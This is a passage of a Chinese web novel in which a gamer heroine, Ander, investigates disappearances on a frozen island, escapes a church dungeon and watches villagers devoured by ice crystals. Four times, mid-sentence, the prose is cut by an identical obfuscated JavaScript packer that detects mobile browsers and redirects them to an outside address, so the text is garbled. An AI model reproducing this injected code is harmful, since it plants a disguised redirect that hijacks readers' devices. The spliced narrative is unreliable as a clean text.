如果她在这个绝望的岛上遭遇了什么,患上精神分裂不是不可能。毕竟这和她前半本展现出来的形象实在太不一样。 【我常常遭遇排斥,那难以言喻的铜墙铁壁在我眼前骤然屹立,携带着磅礴的力量排山倒海般袭来,将我狠狠击退。我只能硬着头皮再次进入那液态般的强烈光线中。刹那间,那些刺眼的东西消失了,向后飞去。我在心里说出的话,都闪烁着温柔的金光。那些意识深处的光仿若被无形火种点燃,变成了一个交叠在一起的圆形,光从最中心流溢出来。我很难描述,我可以尝试画下它。】 安德将这一页翻过去,背面画着一团模糊的线头。唯一不同的是,这些线头中间夹杂着很多点。 她今天出来的时候带了一块氧化的矿石,就拿着它在本子上连点成线。这种游戏不难,跑图的时候常遇到。一般都是确定起点和终点后,尽量避免线条交叉,总能试出来。 连成后,安德静静地看着本子最中央的那个图案。三重同心圆,十二道光锐利地向外流溢。 下面还有一个单词。 【Archetype。】 这页后面一撕到底,毛糙如同一茬高低不平的草地。 只留下了封底上的最后的一句话,字迹模糊。 【我后悔了。从今往后我的人生只能活在悔恨之中。】 “不好了!又有人失踪了!” 安德从沉思中惊醒,她看见一个戴着灰帽子的人连滚带爬从巷口那边跑过来。 “谁?”很多人脸色惨白,围了上来。 “老阿列克谢,老阿列克谢他失踪了。” 这人身上沾着酒味,眼下那片雀斑涨得发红,他手忙脚乱,哭了出来。 “阿列克谢.费奥多罗维奇.斯特拉霍夫?”人群突然变得一片死寂。 听到这个名字,大家脸色有些狐疑,但又犹豫着是否要开口。 “你确定吗?之前可从来没有过斯特拉霍夫的人失踪过,”有个人小心翼翼地问了一句,“更别提这还是他们的现任族长……” 一个站在拐角的跛脚男人慢悠悠吐出一口烟圈,慢悠悠地说:“终于还是轮到那些自以为是的绿眼睛了。如果还是个无辜的人失踪,我都要怀疑有些家族了……毕竟这两年消失了那么多人,只有这群人毫发无伤。” 这句话提醒了很多人。他们抬起眼睛,眼神躲躲闪闪。 不少熟悉的面孔消失在村里,消失的还都是青壮劳动力,剩下的老弱儿童一直在承受着这种惊恐的惨剧。或许在某天清晨,昨天还在搭棚子的母亲和舅舅,前天还在出海的父亲和姑姑,突然就会在这座岛上彻底蒸发。 很多人的眼神游移到那个人群之外的黑发年轻人身上。 自从有文德尔港开始,斯特拉霍夫似乎一直就是这里的神圣家族。 不少村民都怀着这样的侥幸的心理,他们尊重着所有长着传闻中绿色眼睛的人,希望这些翠石一样的瞳孔真的能够作为沟通人间和至高神的桥梁。 他们救回了外来者玛蒂尔德,也就是后来的冯老师,她给这里带来了更好的生活。 没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718910|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到她后来疯了,对于神主安德利亚斯提出了很多让人难以接受的理论,但是斯特拉霍夫依然把她当作神谕的使者。 在冯老师从第一教堂搬走之后,那个吃人的鬼就出现了。 所有人只能更加卑微地希望斯特拉霍夫能传达他们的歉意,争取神的原谅。 没想到这一口,终于还是咬到了斯特拉霍夫的头上。 安德蹲在矮墙上,看到通风报信的酒鬼的后面还跟着一张阴沉的脸。 教堂就在附近施舍食物。主教从棚子下面走出来,身边站着几个村民。 那几个体型巨大、戴着熊皮帽子的教堂执事从江上的旁边经过,撞了他一下。 作为一个在斯特拉霍夫一族里被边缘化的洒扫小哥,他本来不应该如此显眼的。 但是他现在是在场的唯一一个绿眼睛,很难不被针对。 “天呐,神再次发怒了,这不是玩火自焚么?文德尔港是神的遗留之地,你们究竟为什么要把外来者带进来!”一个围观的老头神情痛苦地说。 另一个中年人被吓得手一直在抖:“如果继续这样下去,会轮到我吗?” 江上没有和他们说话,只是蹲下来收拾被打翻的筐子。 他本来就不喜欢和人说话。 “我们刚刚去了你家。老阿列克谢的那两根拐杖很好,还有其他的一些好东西,我们都拿走了。至于伊万,那只是个废物。”其中一个执事在吓唬他,比划幅度很大,但是江上低着头没有看。 他把地上的东西收拾好站起来,依旧无言地站立,睫毛安静地耷拉着。 这种淡然无法形容,安德觉得他如果再被打一下还是不会有动作。 但是戴熊皮帽子的人不明白,他回头看着江上的侧脸,以为自己的行为达到了威慑的作用,才勉强在怒火中烧的情绪中维持了一丝得意。 “你知情吗?”主教突然幽幽地问了一句。 这句话如同蛇钻进衣领,蛇腹碾过每一寸皮肤。 江上的神情像冰面上出现了裂缝,他的身体不易察觉地往后了一些。 “我主仁慈,当然不为难无辜无知的仆从,除非这件事情里也有你的主观意志,”主教说,“伊万的失踪一定和外来者不无关系,你知情吗?” “我不知道。”江上回答。 江上当然什么都不知道,他顶多算个斯特拉霍夫家用多功能扫地机器人。 除了提醒过她快点离开这里,其余的连她现在就在附近都不知道。 安德蹲着一动不动,打量着这位主教。她明白下一步要去哪里推剧情了,于是把本子重新塞回衣服里,这衣服大得再挤进来一个人都没问题。 安德在墙头上慢慢站了起来。她一般只有准备进攻的时候才会这样,眼睛像准星一样在移动的过程中锁死了一个定点。 她掂了掂手里那块红色的石头,对着不远处挤成一堆的人群稳准狠地扔了过去。 石头笔直地擦过江上的脸,击中了主教的脑门。 5. 幽灵家族(五) 在场的所有人视线齐刷刷地飞向上方。 而这位“救世主”,这位“外来者”,正站在冻土砌成的矮墙上,逆着光,眼神晦暗不明地扫视着他们。 主教看到她的脸条件反射般地目光颤抖了一下。 夜里没有那么清楚。确实是两张一模一样的脸,让他在乍一看中产生恐惧。但认真看时,又会觉得这只是个路过此地的野孩子。 只见她在众目睽睽之中跳下来,一路向他们走去。 几个执事立刻跳到了主教的面前,手忙脚乱地摆出防御的姿势。其他的村民中有人看着看着就开始膝盖往地上贴,得靠边上的人扶着。 然后所有人就这么看着她被一个烟鬼从后面推了一把,心安理得地……坐在了地上。 “好疼啊。”安德毫无波澜地说。 而那个烟鬼反而惊魂未定地喘着气,仿佛手被烙铁给烫了。 主教反应过来,朝着身边的两个教堂的人看去。他们立刻就走上来,握着木棍的手背青筋凸起,在心里迅速地回想应该如何斗殴的一招一式。 一个人凑上来控制住她,另一个人想用棍子缠住她的咽喉。 没人发现的时候安德叹了口气,然后主动往后靠了一点,因为执事那根棍子出手就是歪的。 棍子锁上来的时候,她弓起腰背微微侧身,只是这一个位置的细微变化,就悄悄地卸掉了百分之五十他们天生的力量优势。 “我想和您谈谈,请您喝点茶水。”主教居高临下地走了过来,在她面前蹲下。 “好啊,能去你家谈吗?”安德朝着第一教堂的方向示意了一下。 在安德的角度,她刚好可以看见人群里的江上。 但他不清楚她在藏着掖着演戏,在这突如其来的变故中不知所措。 安德察觉他想过来,刚要提醒他别动。 主教蹲在安德面前,想起了旁边还有斯特拉霍夫一条狗,于是朝着一个熊皮帽子点头。 那个壮得像熊一样的家伙立刻冲上去骂骂咧咧地给了江上一棍子,击打在后背上,又猛地反折住他的手臂。最后将他如拱桥般压下,紧贴地面。 安德有点无语,她打算单枪匹马杀进第一教堂,肯定不能多带人,秘密让越少的人知道越好。 她需要很快地想一个办法。 望着主教挂在心口前祷告用的项链,那些栩栩如生的画像突然出现在了她脑海中,以及那无数隔着距离与她对视的绿色眼睛,统统都浮现在眼前。 “基里尔,你是我所拣选的,”安德突然压低声音,“我不喜欢你这样。” 听到自己的名字后,主教猛地对视上这一双清灰色的眼睛。 他感受到的竟然是一种来自上位者的凝视。 她脸上带着一丝失望,就像一位长辈因为子孙的任性而感到遗憾。霜寒覆盖大地,又像君主俯瞰着她的臣民。 他如坠冰窟,却鼻尖渗出汗。 日日夜夜,他所面对的文德尔的大小壁画,那些不知从何而来的神圣灵感与工艺结合的杰作。那上面就画着安德利亚斯霜冻般的眼睛,在永恒的冻土之上燃烧着不灭的冷焰。 他回想起从孩童之年就漫步在它们之间,从粗布旧衣走到主教长袍。曾经一度,他只能听见衣料下朝圣脚步的轻响,以及胸腔里狂热信仰的跳动。 这里年复一年的凋敝与寒冷,他回忆起遭受审判的一生。那些绘制在穹顶之上的面容,垂下满含怜悯的目光,穿透一切,注视着人类的罪孽与苦难。 几乎是一瞬间,他感觉自己又变回了一个儿童,那个受到了神圣感召的儿童。 如今已然年老的主教脱力跪坐在地上。 等到他再回过神的时候,一切都消失了。 面前这个年轻女孩又恢复了被棍子制服的姿态,坐等着被请去喝茶。更像一个自暴自弃的小流氓。 主教失神,无力地挥挥手,站起来沉默地转过身。 被摁在地上的黑发年轻人被放开。 围观的人渐渐散开,有的人开始着急往家赶,看看家里有没有人消失。 只有江上安静地躺在灰尘里,没有人要来管他。他是习惯的,在老阿列克谢家里,他就是在这种被无视的环境里长到成年的。 现在连老阿列克谢都被那个看不见的幽灵吃了,他不知道自己现在应不应该带着菜再回到那个家里去。 他的胳膊脱臼了,硬是一声没吭。不过拿菜可能有点困难了。 他半张脸被粗粝的地面划出细小的伤痕,看着第一教堂的那群人扬长而去,而安德像只被狗熊提起的鸡崽。 鸡崽被提起前还跟他点了点头,比了个“回家去”的口型。 . 霉味混合着潮湿的泥土味道,地下室很难闻。头顶的冰拱顶一直往下滴水,安德蜷缩在棺椁一般窄小的凹室里。 铁栅栏的另一边悬着扇窗户,能远远看着漆黑的海面。 她侧着贴紧墙壁,连翻身都困难。 记得以前在另一个游戏里扮演被关禁闭的刁民,也是这种格局的牢房。这种牢房的大小和棺材差不多,平躺在里面,两眼一睁开就是压迫到脸前的房顶,连坐起来都做不到。 那是个普通的游戏,坐在电脑面前看攻略就行。 这是她第一次在全息游戏里体验。 为了方便行动,安德在等天彻底黑下去。等到颈椎都躺麻了,接触石板的后背冷到失去知觉。她不怕黑,也没有想到什么恐怖或者绝望的东西。没有NPC在她面前绕,还借机补了一觉。 眼前一片漆黑,只能用手指抵着锁扣摸索,安德开始从口袋里一个个骨头拿出来比对。 从进村开始,她就在有意无意地收纳肉食里的骨刺,把它们洗干净,扎进最贴身的袋子里。她没指望真进来喝茶,只是没想到这里不搜身,让她带着一身工具就这么混进来了。没有一个冒险性质的游戏会离开牢房的,安德早就是个溜门撬锁的专业人员了。 第一教堂地牢采用的是相当复古的一种锁式。文德尔港居民的隐私观念并不强,他们家家户户采用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718911|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着中古时期的扣式和插芯式。 但到目前为止,她还没有摸到形状相似的工具。 安德在黑暗中闻到了一股腥味,并且很快确定了这种味道的来源就在手中的锁上。 就连手指尖上也沾上了这种味道。 把一根尖锐又长的海鱼刺伸进锁孔刮擦,就有碴子在簌簌往她身上掉。 她伸手捻起几粒,发现这些碎屑在指间变得黏腻。 这把锁的锁孔里竟然凝结着血痂。 就在准备继续试工具的时候,她隐隐约约听到了一阵歌声。 安德在黑暗里停住了动作,将耳朵贴近冰凉的地面,确实有人在唱歌。不止一个,可能有两个、或者三个人。 这时系统里的提示音再次响起。 【您好,请问是否使用「听歌识曲」功能?】 “啊?”安德真的在无声的地牢里发出了一声疑问。 不是,这个游戏到底是谁设计的。 有功夫做这些试图增加玩家幸福感的小巧思,能不能修修你们的主系统啊。 图标是一个小话筒。 授权后它开始闪烁着跳动,屏幕上写着“识别中,请稍后”。 接着空白的页面出现。一个字接一个字往外蹦,最后只努力地识别出了四个字。 【……永世无穷。】 还挺要面子,不如直接跳出个“识别失败”。 为了让系统更好地识别,刚刚安德一直趴在地面上。虽然听不清他们在唱什么,但她感觉到了一种异样。 这些声音隔着重重石板,正在往她的脑袋里钻。仿佛那不是歌声,而是万千针刺。 但是小话筒的闪烁没有停止,“识别中”的提示还在跳动。“永世无穷”四个字的前面有无数字符在来回变动。 安德本来打算从袖口扯下一截布料,攒起来塞进两只耳朵,但是她先尝试着用手指堵住,发现字符的变化停止了,她再松开,「听歌识曲」才继续工作。 她现在就是这些功能的硬件设备了。 安德忍着那圣歌般的合唱,就像忍着几个人拿着锯子在锯她的天灵盖。渐渐听不出是什么歌声了,动静就像是杂乱无章的哭泣。同时又像是冰冷的液体,顺着耳道往里流动。 她深呼吸一口气,支起手臂一寸寸往后挪,同时脚也按照她挪动的方向一点点移动,艰难地在这逼仄的地方换方向来试信号。 换到另一头的时候,最前面的四个字符定了下来。 【永在之母……永世无穷。】 看上去一模一样的石板地面,传声效果却完全不一样。 安德摸着每一块轻声敲打,果不其然她挪到的最后一块是空心的。在其他砖块下面,歌声是通过固体介质进行传播的,只有在这一块下,中空的地方形成了完整的共鸣腔。 就在这时,一阵脚步声响起。 系统界面黑下来,安德立刻转身去假装睡觉,背对着锁。 有个人在她身后蹲下来了,一盏煤油灯的光亮落在她的耳后。 6. 幽灵家族(六) 紧接着就是窸窸窣窣的声音,传来一阵饭菜的香气。 安德认出了这个味道,熏鱼淡淡的油脂香。 “……您怎么样?”她不敢声张,只能小声地问了一句。 “您一天都没吃东西了吧。” 安德转过身,看到穿着修女衣服的惠正隔着地牢的铁门,朝里面张望。 她拎着一个体积不大的石锅,把熏鱼和黑麦面包放在里面保温。 “你怎么进来的?”安德问她。 “没有人,”惠把勺子递进来,但是又抽回去认真用布重擦了一遍,“门口没有,进来之后我也没有看见人……我就这么进来的。或许是因为,今夜是鲁厄。” 差点忘记,早上那家人跟她提到“鲁厄”的时候说了。按照他们他们的文德尔港习俗,鲁厄之夜大家都睡得早,没有人会在外面晃荡,或者敲别人家的门。 他们应该在梦中迎接黑夜来临。 这是对“极夜”的敬畏,第一教堂也不应该例外。 “你知道地牢在什么地方?”安德突然抬起眼睛。 惠顿了顿,然后点头。“是的,我的主。”她把勺子塞进安德手里,依旧局促不安:“这里太暗了,我也不知道干不干净,您试试……” “你以前也这么给别人送过饭是吗,”安德说,“所以你知道他们喜欢把人关在这里。” 惠脸色惨白,她回避着这个话题,想着怎么解释。 应该说惠来的刚好,安德看完笔记后有个问题。 “岛上发生过什么?” 惠抿了抿嘴,把餐补放在手掌里抹平整。 安德没有继续盯着,而是把她带来的石锅拿起来吃,锅的大小刚好能从铁栅栏缝最宽的地方进来。 “逃了一些人。”惠说。 “谁逃了?”安德问。 惠看向安德,似乎做好了准备,也好像今晚就是为了这些话来的。“文德尔港,我们里面逃了一些人。” 她的眼睛在灯火的映照下幽幽发绿。 这是一种容易让人想起毒蛇的眼睛。 因为她总是在人群中躲躲闪闪,很多人并没有太在意她。但是从上岛认识她的那一刻起,安德就时刻记住她是这样的绿色眼睛。 “您可以看出来,我们是两种人吧,金发碧眼的是多数,但是还有零星几个黑发的人。以及我们之中,女人很稀少,”惠尽量表达得很平静,“这种稀少并不是一直如此。而是因为十八年前,有人逃走了。” “成功了?”安德更在意这一点。 “我不知道,我没有亲人在那条偷渡的船上。岛上没有人再收到过来自叛逃者的消息,大家认为这些人葬身冰海。海的那边空无一物,无处可逃。再后来,那次背叛就慢慢被遗忘了。” “你觉得外面还有一个世界吗?”安德问。 “冯老师一直坚信外面还有世界,文德尔港,和环绕它的海洋,以及整个冻土极地都是被遗弃在这里的,”惠有些犹豫,“我……我不知道,我没有冯老师懂那么多。” 安德把石锅往她那里推,示意她也吃一点。 惠没有吃,只是凑过去暖了暖冻僵的指尖,然后用布在锅沿上擦了一圈。 突然耳中传来轰鸣声。 她们两个同时都听见了,因为动静大得仿佛有什么在沉睡中苏醒。 远处响起液压钻机打穿冻土层的声音。安德转头,看到那扇窗户外有个巨大功率的探照灯骤然打开。 顺着漆黑的海面,她们看到了冰原的面貌。原来文德尔港长这样。 崎岖的山脉,凝为冰霜攀附在漆黑石块上的枯藤,与天连成一线的茫茫大雪。 什么玩意?探照灯?她们脚边还摆着惠提来的防风煤油灯。 安德都被这群原始人折腾得快忘记《往日之人》是什么主题的游戏了。“科技”的标签渐渐要用上了吗? 窗外照进的这束强烈的光,把整个落后的世界都照亮了。惠被眼前的场景震撼在那里,剧烈的风通过窗户涌进来,大圈的光晕笼罩了她。 安德想起历史书上那艘开到人家门口大黑船,老师所描述的也不过如此感受。 安德感觉到有人闯了进来,甬道里再次响起脚步声。 紧接着是一声枪响。 人进来的时候,惠突然转过身去,满头冷汗地挡在安德前面。 她并不熟练地抬着双手,枪管修长而笔直,前端微微收窄,枪口处的金属光泽犹如寒星。 安德认识这把枪,和冯老师用来自裁的枪一模一样。 第一个闯进来的人被击中后翻滚在地,痛得叫起来。 安德立刻反应过来:“枪给我!” 惠立刻把枪塞进安德手里。递过来的还有一小把备用子弹头,惠都装在了外衣的口袋里。 这种落后的枪得回溯到中古时期。 手枪的弹仓在枪身侧面,是一个小巧的旋转式结构。换弹时,需要先扳动枪身一侧的一个小拨杆来解锁弹仓。 空间很小,安德只能躺着装填。 一套动作行云流水,没有丝毫犹豫就抬起手腕,把子弹送进还在叫的人的脑门上。接着迅速将弹仓旋转复位并扣紧拨杆,将第二个人也击倒在地。 这种NPC必须杀。 安德不知道这群人的文明水平已经发展到什么水平。 如果到脑神经就可以发送信息的程度,废手废脚就不再具有作用。 “帮个忙,把他们身上的东西搜给我。”安德对惠说。 惠点点头,踉跄着站起来去搜枪。 这两个人看上去职位不高,好在是武职,所以身上有很多好东西。 安德没有用枪暴.力开.锁的打算。她动作熟稔,用军用绷带将自己的手腕关节都缠好。 一直以来,她下本的外号都是“武器大师”。 只可惜他们背包里声纹和虹膜启动的武器一个都用不了,要不然安德还挺想体验一下的。 除此之外,还码着整齐的折叠式脉冲军刀,不仅泛着碳钨合金的色泽,还血槽狰狞。 安德把它们捆在自己的肘下,腿侧面以及后腰,从包中抽出一把修长的黑色冷兵器掩在外套里。 高空安全绳交叠用牙齿咬紧,和绳索枪一起塞进外套内侧的口袋里。 惠站在一边愣愣看着,看着这些仿佛天外来客的武器。 她一把抓住了安德的手腕,声音颤抖:“我……我之前确实常常来送饭,因为冯老师总被他们找事然后关在这里。” “我知道。” 安德已经猜到了,她找了一把便携可以连发的枪,又拿起那把枪身的连接处镶嵌着一圈旧色黄铜的老古董,卸掉了子弹防走火,装进惠衣兜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718912|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里让她带走。 “你绕开外面那些人,先去锡安教堂。” 安德当着惠的面把中空的那块地砖抬了起来,下面竟然有一条地道。 壁上的挖掘痕迹清晰可见,有骨头挖土的形状,还有新旧不一的指印,人力和时间仿佛在一瞬间交叠了。 惠呆立在那里,感觉到幽暗中有未知的气息与声音在往上涌动,倾诉着不为人知的往事。 “我们一会儿见。” 安德说着,从上面一跃而下。 . 通道很窄小,但安德移动速度比一般人要快很多。 在初步测算下,这条地道通向了地下几百米的空间,她在地道里花了三分钟才出来。 安德又把「听歌识曲」的功能打开,按照字符窜动的速度寻找正确方向。 离开地道后,温度再次骤降。安德以为外面够冷了,没想到这里更是冻得人胆寒。 脚下还散发着不明的味道,类似蛋白质降解的气味,让人有些反胃。 安德将灯缓慢移到了脚下,黑乎乎的看不大清楚。这里是个栈道,只能贴住石壁慢慢向前移动,一不小心踏错就是万丈深渊。 她看见下方有白色光点,能感受到脸颊上有风擦过。 安德从本子上扯下半页纸,撕成细小的碎片,伸手扬开。 这些纸片没有飘起来,全部顺着涌进了下方。“这里的气流是倒灌的。”她自言自语。 安德手一直放在墙壁上,很快就发现有一块纹理杂乱的区域。 她把灯抬高,这块壁上粗糙地刻着一块地图。 如果这是当初建造这里的图纸,那么地下空间超乎她的想象。至少说,地下的面积已经远远大于上方的第一教堂,差不多贯穿了整座岛的内部。 每一个细节都非常的复杂,考虑到了力学等多种科学因素,才使得这样的工程对于文德尔港毫发无损。 安德一直在转着圈往下走,就像在走一条巨大的旋转楼梯,下方本来星星点的光亮越来越大。 设计成大回环的空间,不禁让人想到古老神话中的衔尾蛇,它一直保持着吞食尾巴的动作,形成一个圆形,或者说一个完美的闭环,含义为“自我吞食者”。 这是个相当久远的神秘符号,安德在很多游戏中都见过它。 一条咬住自己尾巴的蛇,在炼金术传统中,它象征着宇宙的永恒轮回与世间事物的生生不息。 处于自我吞食状态的宇宙始祖生物,一种不死之身,代表了“自我参照”和“无限循环”。 反者道之动,它既是起点亦是终点,在自我吞噬与再生中成为一种超越生死界限的永恒存在。 其环形躯体构成一个自我维系的系统,万事万物皆在循环往复中达成。 字符窜动的速度还在加快,安德调出「备忘录」将这张地图存了一下。 她继续往前走,没有了地牢的地砖阻隔,若隐若现的歌声在变大。 【永在之母,神圣公义……直到永世无穷。】 方向是正确的,安德抬起头,又摸到了相同的墙壁纹路,从地道下来走过的栈道,都是一模一样的。 每隔一段就开始重复,只有深度在不断下降,温度越来越低,直到声音越来越清晰。 【永在之母,神圣公义……明日归于安德利亚斯,直到永世无穷。】 7. 幽灵家族(七) 下方的光点最初只有豆粒大小,后来就是碗口大小。 安德趴在出风口蹲下来,当大门洞开之时,没有任何脸部防护措施的脸上一阵疼痛。 她看到了船。 蛰伏在冻土上的巨大船体,在已然结晶的冰窟发出银白色的光泽,围着几个人类。 这几张脸中,安德还看到了老阿列克谢。 原来这就是失踪案的真相,主教大人带头造船想要逃跑。 这些在近五年内陆陆续续失踪的原住民,都是来帮基里尔造船的吗? 人类的承受是有极限的,他们在这种无望的环境里,欺骗不了自己的时候,当然会是想要逃跑的。 安德不是船类的专家,如果让专业人士来看或许会看得更明白。 她只能大概目测出这是一艘由普通大船改造的破冰船。高强度的材料加固了船壳,加装了破冰齿和侧面滚刀。只是有一点,她注意到了主甲板下打开的舱门,里面似乎有多叶片的大型旋转部件,也就是压气机和涡轮。 哪来的? 安德难以置信地望着这些还穿着皮毛的原住民。 他们扔掉手里的皮绒手套当作花环和鲜花,向空中抛去,欢快地跳起舞蹈。船头站着主教衣袍的基里尔,人们不再唱歌,而是跳上甲板围着主教欢笑,仿佛围绕着巨大的篝火。 主教将脖子上的项链和头顶的帽子同时取下,他一个人轻声祈祷。 突然间,笑声戛然而止,如同被某种无形的力量掐断,在风口留下颤抖的尾音。 狂欢者们的身体缓缓倒在船头的甲板上,姿态各异,却无一人挣扎。 只有主教还站着,落下一条细长的影子。 甲板上开始出现细微的变化。 一些白色的颗粒从下面渗上来并迅速扩散,凝聚成晶状,最先覆盖住老阿列克谢,接着顺着皮肤往下走。 安德能看见那些冰晶正在起伏着呼吸,就像活物一样吮吸着他的头。 老阿列克谢的皮肤越来越白,四肢表面出现了一层冰霜,皱纹渐渐舒展开来,他的身体空瘪下去,慢慢变成了一张皮。 它们好像最喜欢人的脑部,从头蔓延到身上,冻结他们的血液,将他们的肌肉和骨骼吸食干净。 整个过程非常快,甲板上只剩下了一片洁白的冰晶,刚刚还在庆祝的原住民们全部不见了踪影。 原来如此,这船舱与甲板上的一层霜雪,就是失踪的所有人了。 安德压制住呼吸,因为每一次呼吸都在极度的寒冷中变成白雾。 她打算立刻返回。 出去的路是没有光源的,但刚刚在眼前的纯白晶状物体仍然印在视觉中央,无法摆脱。眼睛有一种灼烧的痛感,开始浮现一些文字。 安德知道不可能,却总是想起“雪盲症”。 明明是一片死寂,眼前的文字骤然变得立体起来,像古老的颂歌一样在耳边回放。是一个女人的声音。 【我全神贯注,想象我的意识是一道道光线,然后汇聚于焦点之上……】 她想起了这些都是冯老师笔记上的内容,但是总不由自主地又开始回想冰晶进食的画面。 安德从来没有觉得这么冷过。画面里,它们在人的身体上越来越大,如同蚂蝗饱餐后隆起的下腹。 声音依旧在往脑袋里钻。 【那些意识深处的光仿若被无形火种点燃,变成了一个交叠在一起的圆形,光从最中心流溢出来……】 冰晶起初还很猖獗,后逐渐变得模糊不清。一阵流动的光源灌注而下,被浇到的部分裂开后幻成云雾与气流,呲露成野兽般的獠牙,猛地咬合。 夜昙乍放,从中间抽出万千白丝流向空中,以轴心快速旋转起来,越转白丝宽厚,结起了琉璃般的冰层。接着它爆发出耀目的光华,就像开着一盏大灯在安德脑海里晃荡,光明处冰晶无处遁形。 她明明特别冷,却感觉身上在出汗,退烧药刚起作用就是这样难受。在她没有察觉的时候,手背上出现了冰晶,现在正慢慢化成了水。 人就像在高原雪地狂奔过一样,心率直逼一百九。 但她没有停下脚步。 走到一半时,脚下突然踩到了东西。 是一张被攒成团的纸,边缘呈被扯下的锯齿形,沾满血迹。 安德摸到它的质地,就知道了这页纸来自她现在身上的墨绿色本子。 这张纸上写满了相同的话。大小不同,塞满每一处空隙。 【不要思考!不要思考!不要思考!……】 安德将纸翻过去,背面只有两行小小的字。 【不要去回忆它的形状,不要去怀疑它是活的,不要去猜测它是什么。】 【它会发现。】 . 只有安德一个人坐在教室,窗外是淡淡的夕阳。 她不知道自己为什么在这里。 中年秃顶的班主任在讲台上,穿着三线小城市学校里领导来视察时才会穿的套装。 “安德,你又逃课出去打游戏了。” 温热无风,操场上有人在踢球。 稀稀拉拉几个人,把球踢向很远的地方,然后跟上。 继续重复,人撵着球往前。 球就这么孤单地一路顺着向前滚动。 班主任的身后是黑板。 黑板上画着三重同心圆,模模糊糊三个圈。 “为什么你要这样荒废,”班主任问,“难道对你来说,生活也是一场游戏吗?” 安德还是没有说话。 “让你好好复习,为什么拿出这个本子?” “这个本子是干什么用的?”班主任居高临下地站着,厚厚的镜片遮住眼睛。 安德低下头看自己的桌子,上面摆放着皮革的墨绿色本子。 这个本子是干什么用的?她也忘记了。 她把本子一页一页地往前翻,发现每一页上都是简笔画的小女孩。 安德想起了母亲在她很小的时候就外出打工,留下的记忆仅仅是每年除夕回家抱她时柔软的衣角触感。 母亲会画画,虽然只是简笔画。 每年都会画一画她,画她营养不良的个头,画她的头发像小狗尾巴。 每一次,母亲都是一边画一边眼泪啪嗒啪嗒地掉。 画完以后就叠起来,夹在钱包里带回大城市。 风扇静静悬挂在她头顶上,教室里的灯光渐渐昏黄下去。安德对学校灯光的印象总是这样的。 教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718913|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室的天花板变成了教堂的壁画穹顶。 再次看到如此高超的画技,还有如此细腻的笔触。不知道为什么,安德突然想到。 要是妈妈会画这种画,一定也会这样画她的。 场景在迅速地变化。 不知道哪里来的雪花映着金灿灿的灯光,翻飞如同星辰。 安德身边的椅子被轻柔抽开,一个穿着棉袄的人坐了下来。 她俩窝在一起等待着联欢晚会的开播。 已经很久没有看到母亲了,这件新棉袄确实很衬她。 她永远穿着棉袄。因为安德从来没有在冬天之外见过她。 “所以,你的‘梦想’,是关于我的吗?”她问。 就在此时此刻,街道上人群欢呼的声音迎来沸腾的顶点。 几乎是一瞬间,场景静止了。 “不是。”安德回答。 无尽的安宁,除了呼吸声,所有声音都消失殆尽。 “母亲”惊讶地看着安德。 门外矗立着那座静止的钟塔,但是场景里的所有人都没有看到。 他们扬着手中的烟花棒停在原地,只有周围的雪花没有停止缓慢的飘动。冰霜从他们的身体里渗出来,在他们头顶上盘缠,将他们吸成薄薄的纸片。 一片雪花落在“母亲”的肩膀上。 他们的脚下正在开裂。 还没回过神。 猎豹般迅捷的身影闪过,漆黑的刀刃端平,仿若流泻而过。 这种跳跃能力,骤然发起的速度。 无法想象,单薄的身影就像拧紧了发条。 她快速地从所有人当中跑过,一只手握着抛投枪向着周围栈道中唯一没有断裂的扶栏上射出了锚钩。 然后像串糖葫芦那样一只手拦腰紧紧箍住两个人的腰,带着他们拖了出去,翻滚掉进了拱门下面。 因为剧烈的坍塌,墙体发生了很大的变化,开裂的墙竟然巧合般地被一块横板卡住了,所以通过抛投器的绳索荡过来之后,安德就抓住了这块露出的尖端,将两个“犯人”先丢了进来,然后她也顺着横板的位置跳了进来。 震动一直持续了五分钟,眼睛可以看到的视野并不多。 外面的样子就在这五分钟内变得天翻地覆,下面的破冰船完完全全看不见了。除了这贴着地下空间的四面墙壁,什么都消失了。 